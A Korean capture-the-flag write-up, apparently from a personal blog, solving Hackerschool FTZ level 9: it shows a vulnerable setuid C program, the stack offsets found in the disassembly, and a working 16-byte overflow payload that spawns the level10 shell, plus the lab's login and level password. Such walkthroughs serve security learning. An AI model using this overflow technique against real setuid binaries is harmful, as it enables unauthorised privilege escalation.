Wargame/FTZ

Hackerschool FTZ level9

pwn3r_45 2011. 7. 17. 13:21
Category : System hacking

ssh://ftz.hackerschool.org
id : level9
pw : apple

Summary : overflow , overwrite another variable


서버에 접속하여 문제 파일을 확인한다.

[level9@ftz level9]$ ls -l
합계 12
-rw-r--r--    1 root     root          391 11월 13  2002 hint
drwxr-xr-x    2 root     level9       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level9       4096  7월 10 02:40 tmp
[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}  

이를 이용하여 level10의 권한을 얻어라.

 


할당된 buf의 크기를 초과하여 입력받기 때문에 overflow 취약점이 존재한다.
이로 인해 buf2배열을 마음대로 조작할 수 있다.
그런데 buf2의 첫 2글자가 "go"라면 level10 user의 쉘을 실행해주기 때문에 overflow취약점을 이용해 buf2의 첫 2글자를 조작해주어야한다.

지역변수 공간의 크기와 변수간의 offset만 알아도 공격에 성공할 수 있다.

..................
0x08048503 <main+3>: sub    $0x28,%esp
..................
0x08048530 <main+48>: push   $0x2
0x08048532 <main+50>: push   $0x80485fe
0x08048537 <main+55>: lea    0xffffffe8(%ebp),%eax
0x0804853a <main+58>: push   %eax
0x0804853b <main+59>: call   0x80483bc <strncmp>
..................

buf는 ebp-40부터 시작하며 , buf2는ebp-24부터시작한다.
그러므로 아무문자로 16byte를 채워주고 "go"라는 문자열을 입력하면 buf2에 "go"가 입력되어 level10 user의 쉘을 획득할 수 있다.

[level9@ftz level9]$ (python -c 'print "a"*16 + "go"';cat) | bof
It can be overflow : Good Skill!
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass

Level10 Password is "interesting to hack!".


level10 user의 쉘을 획득하고 password를 얻었다.